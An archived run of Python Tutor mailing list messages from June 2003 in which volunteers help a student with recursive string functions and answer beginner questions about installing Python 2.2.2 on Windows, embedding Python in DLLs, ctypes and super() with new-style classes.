From: loizie@hotmail.com (Evripides Loizides)
Date: Sun Jun  1 20:15:03 2003
Subject: [Tutor] Re:-Recursive Functions
Message-ID: <BAY7-F78RIJTERRvFkX0005f843@hotmail.com>

<html><div style='background-color:'><DIV>
<P># we have the word house we can find the last character like taht:<BR>word = "house"<BR>length = len(word)<BR>lastLetter = word[length - 1]<BR>print lastLetter</P>
<P><BR>&gt;&gt;&gt; e</P>
<P># we have the word "house" we can print all the letters:<BR></P>
<P>word = "house"<BR>index = 0<BR>while index &lt; len(word):<BR>&nbsp;&nbsp; letter = word[index]<BR>&nbsp;&nbsp; print letter,<BR>&nbsp;&nbsp; index = index +1</P>
<P><BR>&gt;&gt;&gt;&gt; h o u s e<BR></P>
<P>i got taht right too but using while loop if u ask me to do it again using recursive function i will not be able.<BR></P></DIV>
<DIV></DIV>&gt;From: Danny Yoo <DYOO@HKN.EECS.BERKELEY.EDU>
<DIV></DIV>&gt;To: Tutor <TUTOR@PYTHON.ORG>
<DIV></DIV>&gt;CC: loizie@hotmail.com 
<DIV></DIV>&gt;Subject: Re: [Tutor] -Recursive Functions (fwd) 
<DIV></DIV>&gt;Date: Sun, 1 Jun 2003 16:17:36 -0700 (PDT) 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; &gt; def stringToNum(aString): 
<DIV></DIV>&gt; &gt; (i have to put a condition over here .) 
<DIV></DIV>&gt; &gt; 
<DIV></DIV>&gt; &gt; if myString[n-1].isdigit(): 
<DIV></DIV>&gt; &gt; sum=sum+int(myString[n-1]) 
<DIV></DIV>&gt; &gt; n=n+1 
<DIV></DIV>&gt; &gt; print sum 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Has your instructor given examples of doing recursion across string 
<DIV></DIV>&gt;sequences yet? When we do recursion across a sequence, we often take care 
<DIV></DIV>&gt;of two particular situations: 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 1. How do we deal with the "empty" or null sequence? 
<DIV></DIV>&gt; 2. How do we deal with the nonempty sequence? 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;For example, say that we're trying to write a function that can figure out 
<DIV></DIV>&gt;how long a string is. (Pretend that we don't have the len() function 
<DIV></DIV>&gt;handy for the purposes of this exercise). How can we approach a problem 
<DIV></DIV>&gt;like this? 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;One thing to see is that the length of the empty string is zero, so we can 
<DIV></DIV>&gt;code for this: 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;### 
<DIV></DIV>&gt;def length(s): 
<DIV></DIV>&gt; "Returns the length of sequence s." 
<DIV></DIV>&gt; if s == "": return 0 
<DIV></DIV>&gt;### 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;That was easy. And this handles empty strings perfectly well. 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;### 
<DIV></DIV>&gt; &gt;&gt;&gt; length("") 
<DIV></DIV>&gt;0 
<DIV></DIV>&gt;### 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;The problem, of course, is that it can't handle much else. 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;### 
<DIV></DIV>&gt; &gt;&gt;&gt; length("hello") 
<DIV></DIV>&gt; &gt;&gt;&gt; 
<DIV></DIV>&gt;### 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;So how to we handle strings that aren't empty? Well, we can lop off the 
<DIV></DIV>&gt;first character of any string by doing a slice: 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;### 
<DIV></DIV>&gt; &gt;&gt;&gt; msg = "Hello" 
<DIV></DIV>&gt; &gt;&gt;&gt; msg[1:] 
<DIV></DIV>&gt;'ello' 
<DIV></DIV>&gt;### 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;How does this string chopping help, though? It helps because the length 
<DIV></DIV>&gt;of the word "Hello" is just one more than the length of the word "ello". 
<DIV></DIV>&gt;More formally: 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; length("hello") equals 1 + length("ello") 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Does this get us anywhere? Yes, because we can apply the chopping 
<DIV></DIV>&gt;technique again: the length of "ello" is just 1 + the length of "llo". 
<DIV></DIV>&gt;And the length of "llo" is just 1 + the length of "lo"... 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;So if our length() function can handle strings of length 0, and if we can 
<DIV></DIV>&gt;teach it how to handle nonempty strings, then it should be able to handle 
<DIV></DIV>&gt;all strings. The part that's "recursive" about the length function is 
<DIV></DIV>&gt;that we can write it in terms of a small version of the problem: 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; length("some string") = 1 + length("ome string") 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; "big problem" can be reduced to trivial solution, 
<DIV></DIV>&gt; combined with solution to slightly easier 
<DIV></DIV>&gt; problem. 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Does this make sense so far? Try writing the length() function and see if 
<DIV></DIV>&gt;it works for you; you'll be better equipped to handle your original 
<DIV></DIV>&gt;problem once you can do length(). 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Good luck to you. 
<DIV></DIV>&gt; 
<DIV></DIV></div><br clear=all><hr>MSN 8 helps <a href="http://g.msn.com/8HMOENUS/2752??PS=">ELIMINATE E-MAIL VIRUSES.</a> Get 2 months FREE*.</html>


From magnus@thinkware.se  Sun Jun  1 21:27:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun  1 20:27:02 2003
Subject: [Tutor] Newbie here ... Have just downloaded Python 2.2.2
 and am
In-Reply-To: <006201c3286e$19a0fb80$c47dfea9@client>
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>
Message-ID: <5.2.1.1.0.20030602010619.01e91a28@www.thinkware.se>

At 14:46 2003-06-01 -0400, Dirigo wrote:
>getting ready to install it on a Win 98SE system.  But before I do ...

You can't get your hands on Win 2000 or XP? Not that Python
cares but in my opinion it's often useful to work partly with
the command prompt, and cmd.exe is far superior to the old DOS
command.com. I don't neet to tell you about Win98SE and stability
in general and so on.

>1.  What does the download actually consist of?   I assume the python
>interpreter and IDLE from what I read on the main web page of
>python.org?  But is there anything else included within this zipped
>package that I should be aware?

The very extensive standard library and documentation is also
included. If you get the ActivePython from ActiveState, or add
the win32all package, you will also get interfaces to the win32
API, with COM and a lot more.

>2.  I also assume I need to download apache to function as a web server.
>Is there a recommended specific apache version I should download that is
>compatible with Python-2.2.2.exe?

What does that mean? If you want to run Python CGI scripts, any
web server that handles CGI will work, from MS Personal Webserver
or whatever it's called to Xitami or Apache. If you don't like the
startup time of CGI, you might want to get an Apache with mod_python
included, but I have no clue about windows binaries for that.

You don't need any external Web Server though. There are web server
classes in the Python standard library, although that's nothing you
should use as is for any service available to the internet. You have
to add the security.

The increasingly popular Twisted framework www.twistedmatrix.com
provides a great web server as far as I understand. Other Python options
are Medusa or the Zope framework, but Zope gets you rather far from "normal"
Python coding.

Here is a very trivial web server coded in Python using only standard
modules. It's not really simple to undeerstand exactly what's happening,
since many modules are involved, but suffice to say that this is a
"Hello World" web server. Put the following lines in a python file,
run it, and aim your browser at http://localhost:8000/

import BaseHTTPServer, time

text = "<html><b>Hello</b> <i>World</i> at %s.</html>"

class myRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
     def do_GET(self, *args):
         self.send_response(200, "Script output follows")
         print >> self.wfile, "Content-type: text/html; charset=us-ascii"
         print >> self.wfile
         print >> self.wfile, text % time.asctime()

BaseHTTPServer.test(myRequestHandler, BaseHTTPServer.HTTPServer)

>3.  As of yet, I have not downloade Mark Hammond's Win32 extensions.
>Should I shortly ... after initial install?  I assume the extensions
>provide additional functionality, but, perhaps, it would be wise for me
>to hold off until I master the rudimentary functionality of python
>itself.  What are you folks' thoughts on this approach?

This has more to do with needs than with learning. If you want to
communicate with for instance MS Office via COM, you should get win32all
a.s.a.p. If you plan to write a pure python web app that might as well
run on a Linux box, you will never need win32all.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The shortest path from thought to working program 



From reavey@nep.net  Sun Jun  1 21:51:02 2003
From: reavey@nep.net (reavey)
Date: Sun Jun  1 20:51:02 2003
Subject: [Tutor] recursion and sicp
Message-ID: <3EDA9E7A.5030700@nep.net>

This follows an earlier post by Danny.
The sicp book is avaiable online.
http://mitpress.mit.edu/sicp/full-text/book/book.html
re-v



From magnus@thinkware.se  Sun Jun  1 22:07:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun  1 21:07:01 2003
Subject: [Tutor] Will there ever be a native python compiler to
 create pure exe and dll
In-Reply-To: <1831810091894.20030601171806@columbus.rr.com>
References: <006101c3287e$31f97c10$6401a8c0@xp>
 <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>
 <901785710566.20030601103144@columbus.rr.com>
 <006101c3287e$31f97c10$6401a8c0@xp>
Message-ID: <5.2.1.1.0.20030602024829.01ee48f0@www.thinkware.se>

At 17:18 2003-06-01 -0400, R. Alan Monroe wrote:
>The job I had in mind was making (or at least, prototyping) vis
>plugins for Sonique. That requires creating .dlls. I suppose I'm stuck
>with C for this task.

You can make a thin wrapper in C, and write the bulk of your code
in Python. See http://www.python.org/doc/current/ext/embedding.html

I don't know anything about Sonique, but I suppose your DLL needs
to implement some well defined interface that Sonique is adapted
to. This could be thin C wrappers that just call Python scripts.
There is an example at doing that at
http://www.python.org/doc/current/ext/pure-embedding.html

I had a brief look at the Sonique web site, and it seems to me
that you should be able to combine the Sonique example vis plugin
code with the some ideas from the Python embedding manual as noted
above, and get something to work. It seems that it should be
fairly straight forward.

Your main problem will probably be conversion of data sent
between Sonique and Python.

If you want to do image processing in Python, have a look at
PIL at www.pythonware.com, and if you are to process a lot
of numbers in matrices, look at Numerical Python, at
http://sourceforge.net/projects/numpy


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The shortest path from thought to working program 



From R. Alan Monroe" <amonroe@columbus.rr.com  Sun Jun  1 23:59:02 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sun Jun  1 22:59:02 2003
Subject: [Tutor] Will there ever be a native python compiler to  create pure exe and dll
In-Reply-To: <5.2.1.1.0.20030602024829.01ee48f0@www.thinkware.se>
References: <006101c3287e$31f97c10$6401a8c0@xp>
 <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>
 <901785710566.20030601103144@columbus.rr.com>
 <006101c3287e$31f97c10$6401a8c0@xp>
 <5.2.1.1.0.20030602024829.01ee48f0@www.thinkware.se>
Message-ID: <1391830863893.20030601230418@columbus.rr.com>

>>The job I had in mind was making (or at least, prototyping) vis
>>plugins for Sonique. That requires creating .dlls. I suppose I'm stuck
>>with C for this task.

> You can make a thin wrapper in C, and write the bulk of your code
> in Python. See http://www.python.org/doc/current/ext/embedding.html

> I don't know anything about Sonique, but I suppose your DLL needs
> to implement some well defined interface that Sonique is adapted
> to. This could be thin C wrappers that just call Python scripts.
> There is an example at doing that at
> http://www.python.org/doc/current/ext/pure-embedding.html

Thanks to you and the others that responded. I got the
Demo\embed\demo.c from the python source tree to compile & run under
Dev-C++. With some trial and error I may be able to figure it out :^)

Alan



From dyoo@hkn.eecs.berkeley.edu  Mon Jun  2 00:24:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun Jun  1 23:24:02 2003
Subject: [Tutor] Re:-Recursive Functions
In-Reply-To: <BAY7-F78RIJTERRvFkX0005f843@hotmail.com>
Message-ID: <Pine.LNX.4.44.0306011932440.9783-100000@hkn.eecs.berkeley.edu>

> i got taht right too but using while loop if u ask me to do it again
> using recursive function i will not be able.

Hi Evripides,

Ok, I'm now not so certain that we're using the same definition for the
word "recursive", and that worries me.  Well, to tell the truth, I'm
actually a little frustrated with myself, because I'm not quite sure why
we are miscommunicating.  We have to get at the bottom of this.


> # we have the word house we can find the last character like taht:
> word = "house"
> length = len(word)
> lastLetter = word[length - 1]
> print lastLetter

This is nice... but this really has nothing to do with what we talked
about in our last message.  Well, it does use the len() function, but
that's really way off tangent.


The question I asked last message was to see if you could try writing a
function that would do the work that the len()  function does.
Specifically: there's a difference between using len() and implementing
len(), and I wanted to see how you'd implement len().  But that didn't
work; you ignored that part of the message.


Ok, let's try something else.  A while back, you said:

> i understand what a recursive function does. the problem im facing is to
> apply it on my problem here what i have right now and let me know if i
> am in the rigth direction ok

Out of the risk of being bluntly rude, I need to ask for reassurrance.
Can you show us a particular example of a recursive function that you've
seen before?  In your own words, what does a recursive function do?

Show us what you think a "recursive" defintion means.  And not just
abstract definitions: show us a concrete example of a recursive function
that you've seen.

You have to understand, we cannot read your mind.  We need some kind of
background on what you know --- we won't treat you as a sponge or a blank
slate.  From what you've written, we have a pretty good idea that you know
about loops and how to do variable assignments.  That's a good start: now
show us more about what you mean when you say "recursion".



From dyoo@hkn.eecs.berkeley.edu  Mon Jun  2 02:27:03 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun  2 01:27:03 2003
Subject: [Tutor] Re:-Recursive Functions (fwd)
Message-ID: <Pine.LNX.4.44.0306012154250.24390-100000@hkn.eecs.berkeley.edu>

[forwarding to tutor@python.org]


Evripides, you need to sit back and think about what you're learning.

Talk with your professor or teacher.  Your teachers may be better able to
clear up confusions, and may be better able to help focus you.

You're so fixated on your homework assignment, on just getting the
assignment done so that it's over, that nothing I'm saying appears to be
having an effect on you.

I know that in this particular case, overteaching will do more harm to you
than good.  And I know when I should retreat and stop.


Sincerely,
Danny Yoo



---------- Forwarded message ----------
Date: Mon, 02 Jun 2003 04:51:26 +0000
From: Evripides Loizides <loizie@hotmail.com>
To: dyoo@hkn.eecs.berkeley.edu
Subject: Re: [Tutor] Re:-Recursive Functions


this is my 2nd week using python so i have so many staff in my head and i
am trying to clear them out.

how i see the recursive function will work on my programm:

we will give a string example "house2room489"

the recursive function will go through this srting getting each character
find the intgers transfer them in a new string , change the string to
integers and add them. print the sum





>From: Danny Yoo
>To: Evripides Loizides
>CC: tutor@python.org
>Subject: Re: [Tutor] Re:-Recursive Functions
>Date: Sun, 1 Jun 2003 20:23:09 -0700 (PDT)
>
> > i got taht right too but using while loop if u ask me to do it again
> > using recursive function i will not be able.
>
>Hi Evripides,
>
>Ok, I'm now not so certain that we're using the same definition for the
>word "recursive", and that worries me. Well, to tell the truth, I'm
>actually a little frustrated with myself, because I'm not quite sure why
>we are miscommunicating. We have to get at the bottom of this.
>
>
> > # we have the word house we can find the last character like taht:
> > word = "house"
> > length = len(word)
> > lastLetter = word[length - 1]
> > print lastLetter
>
>This is nice... but this really has nothing to do with what we talked
>about in our last message. Well, it does use the len() function, but
>that's really way off tangent.
>
>
>The question I asked last message was to see if you could try writing a
>function that would do the work that the len() function does.
>Specifically: there's a difference between using len() and implementing
>len(), and I wanted to see how you'd implement len(). But that didn't
>work; you ignored that part of the message.
>
>
>Ok, let's try something else. A while back, you said:
>
> > i understand what a recursive function does. the problem im facing is
to
> > apply it on my problem here what i have right now and let me know if
i
> > am in the rigth direction ok
>
>Out of the risk of being bluntly rude, I need to ask for reassurrance.
>Can you show us a particular example of a recursive function that you've
>seen before? In your own words, what does a recursive function do?
>
>Show us what you think a "recursive" defintion means. And not just
>abstract definitions: show us a concrete example of a recursive function
>that you've seen.
>
>You have to understand, we cannot read your mind. We need some kind of
>background on what you know --- we won't treat you as a sponge or a
blank
>slate. From what you've written, we have a pretty good idea that you
know
>about loops and how to do variable assignments. That's a good start: now
>show us more about what you mean when you say "recursion".
>
>
>_______________________________________________
>Tutor maillist - Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor

________________________________________________________________________________
STOP MORE SPAM with the new MSN 8 and get 2 months FREE*



From dyoo@hkn.eecs.berkeley.edu  Mon Jun  2 02:36:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun  2 01:36:02 2003
Subject: [Tutor] Re:-Recursive Functions (fwd)
Message-ID: <Pine.LNX.4.44.0306012229360.24971-100000@hkn.eecs.berkeley.edu>

Hi everyone,

Evirpides just sent me this message a few minutes ago. I feel terrible for
being hard on him on my last message, in light that that he just sent
this.  But why did he send the replies in two separate messages?

Evripides, my apologies for misjudging you.  Can someone else handle this
for the moment, though?  I need some personal time to recharge.  Thanks.



---------- Forwarded message ----------
Date: Mon, 02 Jun 2003 05:06:56 +0000
From: Evripides Loizides <loizie@hotmail.com>
To: dyoo@hkn.eecs.berkeley.edu
Subject: Re: [Tutor] Re:-Recursive Functions


on code with recursion is this:

def nLines(n):
    if n>0:
        print "hi"
        nLines(n-1)
nLines(5)

prints hi in n lines here we give number n ==5

another one is the countdown:

def countDown(n):
    if n == 0:
        print "hi"
    else:
        print n
        countDown(n-1)
countDown(5)


>>>
5
4
3
2
1
hi


>From: Danny Yoo
>To: Evripides Loizides
>CC: tutor@python.org
>Subject: Re: [Tutor] Re:-Recursive Functions
>Date: Sun, 1 Jun 2003 20:23:09 -0700 (PDT)
>
> > i got taht right too but using while loop if u ask me to do it again
> > using recursive function i will not be able.
>
>Hi Evripides,
>
>Ok, I'm now not so certain that we're using the same definition for the
>word "recursive", and that worries me. Well, to tell the truth, I'm
>actually a little frustrated with myself, because I'm not quite sure why
>we are miscommunicating. We have to get at the bottom of this.
>
>
> > # we have the word house we can find the last character like taht:
> > word = "house"
> > length = len(word)
> > lastLetter = word[length - 1]
> > print lastLetter
>
>This is nice... but this really has nothing to do with what we talked
>about in our last message. Well, it does use the len() function, but
>that's really way off tangent.
>
>
>The question I asked last message was to see if you could try writing a
>function that would do the work that the len() function does.
>Specifically: there's a difference between using len() and implementing
>len(), and I wanted to see how you'd implement len(). But that didn't
>work; you ignored that part of the message.
>
>
>Ok, let's try something else. A while back, you said:
>
> > i understand what a recursive function does. the problem im facing is
to
> > apply it on my problem here what i have right now and let me know if
i
> > am in the rigth direction ok
>
>Out of the risk of being bluntly rude, I need to ask for reassurrance.
>Can you show us a particular example of a recursive function that you've
>seen before? In your own words, what does a recursive function do?
>
>Show us what you think a "recursive" defintion means. And not just
>abstract definitions: show us a concrete example of a recursive function
>that you've seen.
>
>You have to understand, we cannot read your mind. We need some kind of
>background on what you know --- we won't treat you as a sponge or a
blank
>slate. From what you've written, we have a pretty good idea that you
know
>about loops and how to do variable assignments. That's a good start: now
>show us more about what you mean when you say "recursion".
>

________________________________________________________________________________
Add photos to your messages with MSN 8. Get 2 months FREE*.



From willblake@wanadoo.fr  Mon Jun  2 03:40:08 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Mon Jun  2 02:40:08 2003
Subject: [Tutor] question about pure exe and dll
In-Reply-To: <1391830863893.20030601230418@columbus.rr.com>
Message-ID: <NBEHJBEKFMHNFJKOHIOACELPCIAA.willblake@wanadoo.fr>

Hi
I've got a little question : how can we access to the DLL libraries under
W$ (I don't know it was possible) and create some others?
Thanks

-----Message d'origine-----
De : tutor-admin@python.org [mailto:tutor-admin@python.org]De la part de
R. Alan Monroe
Envoyé : lundi 2 juin 2003 05:04
À : Magnus Lyckå
Cc : Alan Gauld; tutor@python.org
Objet : Re: [Tutor] Will there ever be a native python compiler to
create pure exe and dll


>>The job I had in mind was making (or at least, prototyping) vis
>>plugins for Sonique. That requires creating .dlls. I suppose I'm stuck
>>with C for this task.

> You can make a thin wrapper in C, and write the bulk of your code
> in Python. See http://www.python.org/doc/current/ext/embedding.html

> I don't know anything about Sonique, but I suppose your DLL needs
> to implement some well defined interface that Sonique is adapted
> to. This could be thin C wrappers that just call Python scripts.
> There is an example at doing that at
> http://www.python.org/doc/current/ext/pure-embedding.html

Thanks to you and the others that responded. I got the
Demo\embed\demo.c from the python source tree to compile & run under
Dev-C++. With some trial and error I may be able to figure it out :^)

Alan


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From rmangaliag@slu.edu.ph  Mon Jun  2 04:15:01 2003
From: rmangaliag@slu.edu.ph (ali mangaliag)
Date: Mon Jun  2 03:15:01 2003
Subject: [Tutor] super question...
Message-ID: <00e101c328d8$5f07cea0$da19a8c0@slu.edu.ph>

This is a multi-part message in MIME format.

------=_NextPart_000_00DE_01C3291B.6CAC68C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

if i inherited class A in B... i can call the constructor of the base =
class using super... as shown below:

class A:
     def __init__(self):
             print "A constructor"

class B(A):
     def __init__(self):
             print "B constructor"
             super(B, self).__init__()
a =3D A()
b =3D B()

but when i tried to execute it... i got this error...

"""
    super(B, self).__init__()
TypeError: super() argument 1 must be type, not class
"""
dont know how to fix this... please help me...

thanks...


------=_NextPart_000_00DE_01C3291B.6CAC68C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>if i inherited class&nbsp;A in B... i =
can call the=20
constructor of the base class using super... as shown =
below:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>class A:<BR>&nbsp;&nbsp;&nbsp;&nbsp; =
def=20
__init__(self):<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;=20
print "A constructor"</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>class B(A):<BR>&nbsp;&nbsp;&nbsp;&nbsp; =
def=20
__init__(self):<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;=20
print "B=20
constructor"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;=20
super(B, self).__init__()<BR>a =3D A()<BR>b =3D B()<BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>but when i tried to execute it... i got =
this=20
error...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>"""</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; super(B,=20
self).__init__()<BR>TypeError: super() argument 1 must be type, not=20
class</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>"""</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>dont know how to fix this... please =
help=20
me...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;</DIV></FONT></BODY></HTML>

------=_NextPart_000_00DE_01C3291B.6CAC68C0--



From alan.gauld@blueyonder.co.uk  Mon Jun  2 04:52:04 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun  2 03:52:04 2003
Subject: [Tutor] Newbie here ... Have just downloaded Python 2.2.2 and am
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com> <006201c3286e$19a0fb80$c47dfea9@client>
Message-ID: <001501c328db$f80b8800$6401a8c0@xp>

> 1.  What does the download actually consist of?   I assume the
python
> interpreter and IDLE

THe documentation, including the official tutorial.
THe full standard library of functions
Sample code including some useful utilities.

> 2.  I also assume I need to download apache to function as a web
server.

NO. Python is a full general purpose language it does not
use a web server. In fact a primitive web server is included
as part of the sample code.

If you do want to write web programs then, with the windows
extensions you can write web programs in Python using the
Windows Personal Web Server (PWS) that comes with Windows 98.

> 3.  As of yet, I have not downloade Mark Hammond's Win32 extensions.
> Should I shortly ... after initial install?

Eventually but don't rush. There is a lot to learn about Python
before you need to start writing COM Objects and such. Also you
need to be reasonably competent in basic Python to use the
Windows extensions. When you do download them go out and buy
the O'Reilly book by Hammond to get the most from them.

> 4.  I recognize there are a number of good books out there and look
for
> recommendations from you also ... since you have a lot more
experience
> than I am this point and I have a limited book budget right now ...

It depends on your level of expertise. If you are a complete beginner
to programming go to the Newbie page on the web site and go through
one of the tutors there. Then go through the official tutor. Then
consider buying a book. I usually recommend Python Essential Referemce
by Beasley but Python in a Nutshell is good too. I already mentioned
Hammonds book - essential if programming serious Windows stuff.

If you don't like web tutors the best non programmers books are
Ivan Van Laninghams Python in 24 hours or my own attempt, both
are quite old but because aimed at the basics still quite usable.
If you have any experience in other languages go to something like
Wesley Chun's Core Python or the O'Reilly Learning Python.

Finally there is the "one stop shop" jumbo size Deitel book Python,
How to Program. Personally I don't like the sty;e but many folks
seem to find it useful. It goes from basics to intermediate
level in a huge range of topics.

> Python-2.2.2.exe download as I figured it has been out awhile and is
> perhaps the most stable for the time being.

I'd agree.

HTH,

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From alan.gauld@blueyonder.co.uk  Mon Jun  2 05:00:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun  2 04:00:02 2003
Subject: [Tutor] Re:-Recursive Functions
References: <BAY7-F78RIJTERRvFkX0005f843@hotmail.com>
Message-ID: <002701c328dc$f8bb81a0$6401a8c0@xp>

From: "Evripides Loizides" <loizie@hotmail.com>
> # we have the word "house" we can print all the letters:
> 
> word = "house"
> index = 0
> while index < len(word):
>    letter = word[index]
>    print letter,
>    index = index +1
> 
> 
> >>>> h o u s e

HI again. From our offline emails I think you need to take a 
step back and learn how to write normal functions first. 
Until you can do that you have no hope of writing recursive ones!

Try writing the code above as a normal non recursive function
that takes as an argument the string you want to print.

It sems to me from what you've told me and the code you sent 
that you are not used to using normal python functions yet. 
That is an essential first step to using recursion.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From alan.gauld@blueyonder.co.uk  Mon Jun  2 05:44:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun  2 04:44:01 2003
Subject: [Tutor] super question...
References: <00e101c328d8$5f07cea0$da19a8c0@slu.edu.ph>
Message-ID: <004d01c328e3$331b4be0$6401a8c0@xp>

I haven't used super yet but...

> class A:
> class B(A):
> TypeError: super() argument 1 must be type, not class

I think this is because super only works on new style classes 
- ie they must explicitly inherit from object

So you need to make class A inherit from object first of all.

class A(object)...

class B(A)...

HTH,
Alan G.


From magnus@thinkware.se  Mon Jun  2 10:10:04 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Mon Jun  2 09:10:04 2003
Subject: [Tutor] question about pure exe and dll
In-Reply-To: <NBEHJBEKFMHNFJKOHIOACELPCIAA.willblake@wanadoo.fr>
References: <1391830863893.20030601230418@columbus.rr.com>
Message-ID: <5.2.1.1.0.20030602144209.01e96280@www.thinkware.se>

At 08:42 2003-06-02 +0200, Guillaume wrote:
>I've got a little question : how can we access to the DLL libraries under
>W$ (I don't know it was possible) and create some others?

This is obviously two completely different questions.

First of all: Why do you what to do this? What's your purpose?

You can access DLLs in Windows and the corresponding stuff
in Linux and MacOS with Thomas Heller's ctypes. See:
http://starship.python.net/crew/theller/ctypes/

So, for instance, here are two different ways to tell how
many seconds have passed since the beginning of 1970...

 >>> from ctypes import *
 >>> import time
 >>> cdll.msvcrt.time(None); time.time()
1054558665
1054558665.498

time.time() is obviously a normal call to a python standard module.
cdll.msvsrt.something means that you call something in the MS Visual
C RunTime DLL.

There is also a similar package by Sam Rushing, but I think
ctypes is much more actively developed now.

When you talk about creating DLLs, you have to tell what kind
of DLLs you mean: DLLs that are to be accessed as python modules
from a python script, or DLLs that are to be accessed by other
programs, that include Python code.

I explained parts of this in my response to Alan Monroe.

See also
thinkware.se/cgi-bin/thinki.cgi/UsingPythonWithOtherLanguages


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The shortest path from thought to working program 



From magnus@thinkware.se  Mon Jun  2 10:14:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Mon Jun  2 09:14:01 2003
Subject: [Tutor] super question...
In-Reply-To: <004d01c328e3$331b4be0$6401a8c0@xp>
References: <00e101c328d8$5f07cea0$da19a8c0@slu.edu.ph>
Message-ID: <5.2.1.1.0.20030602151255.01eedc30@www.thinkware.se>

At 09:44 2003-06-02 +0100, Alan Gauld wrote:
>I think this is because super only works on new style classes
>- ie they must explicitly inherit from object

Exactly. This isn't really documented well yet, is it?

It's in http://www.python.org/doc/2.2.2/whatsnew/
but that's not exactly a tutorial...

It seems not even the development version of the Tutorial
covers new style classes yet.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The shortest path from thought to working program 



From magnus@thinkware.se  Mon Jun  2 10:38:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Mon Jun  2 09:38:02 2003
Subject: [Tutor] Newbie here ... Have just downloaded Python 2.2.2
 and am
In-Reply-To: <001501c328db$f80b8800$6401a8c0@xp>
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>
